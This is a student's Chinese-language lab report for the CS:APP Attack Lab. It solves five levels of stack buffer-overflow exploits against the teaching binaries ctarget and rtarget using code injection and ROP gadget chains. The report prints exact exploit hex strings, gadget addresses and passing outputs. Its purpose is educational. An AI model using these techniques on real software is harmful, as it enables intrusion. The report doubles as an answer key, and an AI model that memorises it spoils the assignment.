# Attack Lab 实验报告

2018013428 谢昱清

## 实验 1

Part 1 Level 1

➢ 目的：

熟悉操作，了解基本原理。实验要求使 ctarget 从 getbuf 返回后直接运行 touch1。

➢ 原理：

填入的数据在栈中布局如下。填充比 buffer 大的数据，将会改变 rsp 的返回地址，从而使得程序跳转到预期的结果。

| 原 return address<br>现 touch1 的地址 |
| --- |
| 0 填充，0x38 位 |

➢ 过程：

基本根据助教的 pdf 便可完成。

首先运行 objdump 得到汇编码，查看 touch1 的入口地址以及 getbuf 中开辟的 buffer 大小。由下图可知，touch1 的地址为 0x4017d7，buffer 大小为 0x38。

```
00000000004017d7 <touch1>:
  4017d7:       48 83 ec 08             sub    $0x8,%rsp
  4017db:       c7 05 37 2d 20 00 01    movl   $0x1,0x202d37(%rip)        # 604
51c <vlevel>
  4017e2:       00 00 00
  4017e5:       bf 15 31 40 00          mov    $0x403115,%edi
  4017ea:       e8 e1 f4 ff ff          callq  400cd0 <puts@plt>
  4017ef:       bf 01 00 00 00          mov    $0x1,%edi
  4017f4:       e8 97 04 00 00          callq  401c90 <validate>
  4017f9:       bf 00 00 00 00          mov    $0x0,%edi
  4017fe:       e8 4d f6 ff ff          callq  400e50 <exit@plt>
```

```
00000000004017c1 <getbuf>:
  4017c1:       48 83 ec 38             sub    $0x38,%rsp
  4017c5:       48 89 e7                mov    %rsp,%rdi
  4017c8:       e8 7e 02 00 00          callq  401a4b <Gets>
  4017cd:       b8 01 00 00 00          mov    $0x1,%eax
  4017d2:       48 83 c4 38             add    $0x38,%rsp
  4017d6:       c3                      retq
```

之后，在 txt 中写入 0x38 位 00，并在末尾增添 touch1 的地址即可。注意地址需要“反向”，写作 d7 17 40 00 00 00 00 00。

运行结果如下所示。

```
root@ubuntu:~/Documents# cat exploit.txt | ./hex2raw | ./ctarget -q
Cookie: 0x4c21f182
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2018013428:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D7 17 40 00 00 0
0 00 00
```

**实验 2**

Part 1 Level 2

➢ 目的：

ctarget 从 getbuf 返回后直接运行 touch2；同时，需要将 cookie 的值放入%rdi 作为参数传递给 touch2。

➢ 原理：

一共要满足两个条件：一个是满足规定的跳转，一个是传递参数。因为可以自己写代码生成机器码，所以可以根据需要书写代码。

填入的字符在栈中的位置如下。

| |
|---|
| 原 return address<br>现机器码入口地址 |
| 自己写的机器码，包括<br>存储 cookie 的值在 rdi 里<br>将 touch2 的地址放入栈中<br>return |
| 0 填充，0x1a 位 |

运行时，将从 getbuf 原本的返回地址跳至注入的代码段入口地址，该段代码将在栈中压入 touch2 的入口地址，从而使得返回时跳转至 touch2。

➢ 过程：

查看 cookie 的值。

```
Cookie: 0x4c21f182
```

查看 touch2 的地址。

```
0000000000401803 <touch2>:
  401803:       48 83 ec 08             sub    $0x8,%rsp
  401807:       89 fa                   mov    %edi,%edx
  401809:       c7 05 09 2d 20 00 02    movl   $0x2,0x202d09(%rip)        # 604
51c <vlevel>
```

编写汇编代码，通过 gcc 与 objdump 生成.d 文件，打开后查看注入代码的机器码。

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 82 f1 21 4c    mov    $0x4c21f182,%rdi
   7:   68 03 18 40 00          pushq  $0x401803
   c:   c3                      retq
```

为了定位注入代码的入口地址，通过 gdb 设置断点，查看 buffer 的位置。

```
(gdb) p $rsp
$1 = (void *) 0x55676850
```

断点设置在 getbuf 起点，标志返回地址的位置。需要推算注入代码的位置。根据指令的长度（13 位）可以推算出入口地址应为 0x55676843（0x55676850 - 13）。将该地址放入 txt 中的最后一行。

```
Cookie: 0x4c21f182
Type string:Touch2!: You called touch2(0x4c21f182)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2018013428:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 48 C7 C7 82 F1 21 4C 68 03 18 40 00 C3 43 68 67 55 00 0
0 00 00
```

➢ 困难 & 心得 & 技巧与经验：

该部分难点在于熟悉各类操作，包括编写汇编码后生成机器码、通过 gdb 得到运行时栈的位置等。多运行几次，熟练之后感觉得心应手一些了。

**实验 3**

Part 1 Level 3

➢ 目的：

使 ctarget 从 getbuf 返回时跳转至 touch3。将 cookie 字符的指针作为参数传给 touch3。

➢ 原理：

栈中存放内容如下。

| |
|---|
| 原 return address，现机器码入口地址 |
| 填充 0，0x22 位 |
| 注入的代码。包括：<br>将 cookie 字符串的地址放入 rdi 中；<br>将 touch3 的入口地址压入栈中；<br>返回。 |
| Cookie 作为字符串的值 |

基本思路与实验 2 相似，但是 cookie 从直接传递值变成了传递指针，注入代码段中放在 rdi 中的值有了一些变化。

➢ 过程：

查看 touch3 的入口地址。

```
0000000000401914 <touch3>:
  401914:       53                      push   %rbx
  401915:       48 89 fb                mov    %rdi,%rbx
  401918:       c7 05 fa 2b 20 00 03    movl   $0x3,0x202bfa(%rip)        # 604
```

根据需求编写汇编码，编译并反汇编后得到机器码。（其实也可以直接用实验 2 中得到的机器码，只需要改变对应的地址即可）

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 18 68 67 55    mov    $0x55676818,%rdi
   7:   ff 34 25 14 19 40 00    pushq  0x401914
   e:   c3                      retq
```

查看 man ascii 得到 cookie 的 hex 码：34 63 32 31 66 31 38 32。注意在末尾补上 00。

将这些内容按顺序放入 txt 中，运行即可。

```
Cookie: 0x4c21f182
Type string:Touch3!: You called touch3("4c21f182")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2018013428:PASS:0xffffffff:ctarget:3:34 63 32 31 66 31 38 32 00
 48 C7 C7 18 68 67 55 68 14 19 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 68 67 55 00 0
0 00 00
```

➢ 困难 & 心得 & 技巧与经验：

这道题卡了我很久，做完第四题再回来做才成功解出。遇到的问题主要在于：

1）使用 gdb 运行程序时，不能正常注入代码。栈溢出时会直接得到 segmentation fault 的报错，终止运行。本来使用 gdb 想研究一下 hexmatch 是否会影响到 buffer 的栈中内容的，但是时间有限，没有来得及解决这个问题，只好把 cookie 和注入代码依次放到 txt 的开头（栈的顶部）。

2）由于做完第四题，运行的命令是 rtarget，忘记更改回 ctarget，于是一直报错。

3）代码需要避开被 hexmatch 影响的部位。一开始代码放在返回地址附近，无法得到正确结果。后来将代码放在 cookie 后面，解决了这个问题。

**实验 4**

Part 2 Level 2

➢ 目的：

ctarget 从 getbuf 返回后直接运行 touch2；同时，需要将 cookie 的值放入%rdi 作为参数传递给 touch2。每次运行时栈的位置会变化，不能直接使用栈的位置。不能写全新的机器码，需要用 gadgets（代码碎片？）完成指定功能。

➢ 原理：

需要使用给定的代码段中符合需求的片段完成任务。

我们需要使用 popq %xx 的操作读取栈中存放元素的数值。由于本题中无法直接 popq %rdi，因此为了将 cookie 的数值放到 rdi 作为参数传递，还需要用 movq 进行一次移动。

本题中使用的汇编码包括 popq %rax 与 movq %rax,%rdi。

栈中存储的内容如下。

| |
|---|
| touch2 入口地址 |
| movq %rax, %rdi 对应的代码碎片地址 |
| Cookie 数值 |
| 原 return address 地址，现在 popq %rax 对应的代码碎片地址 |
| 0 填充，0x38 位 |

程序从 getbuf 返回时，将先跳转到 popq %rax 对应的代码碎片地址，执行 popq %rax 操作，即将 cookie 数值放入 rax 中，返回。返回后将跳转到 movq %rax, %rdi 对应的代码碎片地址，将 rax（即 cookie 的数值）放入 rdi 中。之后，跳转到 touch2 的入口地址，执行 touch2。

➢ 过程：

查看 rtarget 的汇编码，对比 attacklab.pdf 中的说明，寻找可用的代码组分。

popq %rax + retq。

```
00000000004019d8 <setval_312>:
  4019d8:       c7 07 42 58 90 90       movl   $0x90905842,(%rdi)
  4019de:       c3                      retq
```

movq %rax, %rdi + retq。

```
00000000004019df <setval_475>:
  4019df:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  4019e5:       c3                      retq
```

查看 touch2 的地址。

```
0000000000401803 <touch2>:
  401803:       48 83 ec 08             sub    $0x8,%rsp
  401807:       89 fa                   mov    %edi,%edx
  401809:       c7 05 09 3d 20 00 02    movl   $0x2,0x203d09(%rip)        # 605
```

将上述内容依次放入 txt 即可。

```
Cookie: 0x4c21f182
Type string:Touch2!: You called touch2(0x4c21f182)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2018013428:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DB 19 40 00 00 0
0 00 00 82 F1 21 4C 00 00 00 00 E1 19 40 00 00 00 00 00 03 18 40 00 00 00 00
```

➢ 困难 & 心得 & 技巧与经验：

我将可以使用的代码单独复制出来了。其实在 ubuntu 的 vim 里直接查找（/要查找的内容）十分简便，用起来也不错。先搜索 movq，可以搜到四处匹配，划定 popq 能使用的寄存器的范围，比较方便。

**实验 5**

Part 2 Level 3

➢ 目的：

使 ctarget 从 getbuf 返回时跳转至 touch3。将 cookie 字符的指针作为参数传给 touch3。每次运行时栈的位置会变化，不能直接使用栈的位置。不能写全新的机器码，需要用 gadgets（代码碎片？）完成指定功能。

➢ 原理：

由于需要记录栈中内容的位置，又不能直接固定栈中元素的位置，因此我们需要使用到如 movq %rsp，%xx 得到栈的位置，或者通过 popq %xx 的操作，读取栈中元素的数值。

为了得到 cookie 字符串的位置，我们需要栈的位置以及字符串相对于栈的位置。为了得到前者，筛选与 rsp 有关的可用代码片段，可知能将地址放入 rax 中，进而 mov 至 rdi 中。后者则可以通过 popq 移动至 rax 中，进而一步步移动到 esi 中。此时，调用 lea，即可将栈顶位置与字符串相对栈的偏差相加，得到字符串的指针位置。将该数据移动至 rdi，调用 touch3，即可将 cookie 字符串的指针作为参数传递给 touch3。

栈中存储的内容如下。

| Cookie 字符串 |
| --- |
| touch3 的入口地址 |
| movq %rax,%rdi |
| lea (%rdi,%rsi,1),%rax |
| movl %ecx,%esi |
| movl %edx,%ecx |
| movl %eax,%edx |
| 偏差的大小数值 |
| popq %rax |
| movq %rax,%rdi |
| 原 return address 地址，现在 movq %rsp,%rax |
| 0 填充，0x38 位 |

得到栈中存储内容后，可知蓝色的部分为保存的 rsp 位置与字符串存储的位置的差，计算得知应为 0x48。

➢ 过程：

查找 touch3 的地址。

```
0000000000401914 <touch3>:
  401914:       53                      push   %rbx
  401915:       48 89 fb                mov    %rdi,%rbx
```

查找可以使用的代码片段并记录，如 movl %eax，%edx。

```
0000000000401a5c <getval_290>:
  401a5c:       b8 89 c2 90 c3          mov    $0xc390c289,%eax
  401a61:       c3                      retq

0000000000401a0c <addval_470>:
  401a0c:       8d 87 89 c2 90 c3       lea    -0x3c6f3d77(%rdi),%eax
  401a12:       c3                      retq
```

从可以使用的汇编码中挑选需要的片段。

将这些内容按原理图中的顺序组合在一起，放到 txt 中运行。

```
Cookie: 0x4c21f182
Type string:Touch3!: You called touch3("4c21f182")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2018013428:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 1A 40 00 00 0
0 00 00 C0 19 40 00 00 00 00 00 DB 19 40 00 00 00 00 00 48 00 00 00 00 00 00
 5D 1A 40 00 00 00 00 00 4A 1A 40 00 00 00 00 00 FA 19 40 00 00 00 00 00 EC
40 00 00 00 00 00 E1 19 40 00 00 00 00 00 14 19 40 00 00 00 00 00 34 63 32 31 6
6 31 38 32 00
```

➢ 困难 & 心得 & 技巧与经验：

这道题虽然想通了之后觉得容易理解，但是一开始上手晕得不行，毫无头绪。需要有耐心，一点点从可选用的代码里抽取出备选项。

需要区分 popq xx 和 movq %rsp xx 的意义。

计算偏移量需要仔细，很容易看晕了算错。（实在不行多试两遍，总有对的时候）

题目给的 add_xy 是一个重要的提示，暗示可以将地址拆开运算。

gadget 地址也比较容易算错，将需要的代码挑出后，可以根据需要的机器码重新查找对应的地址。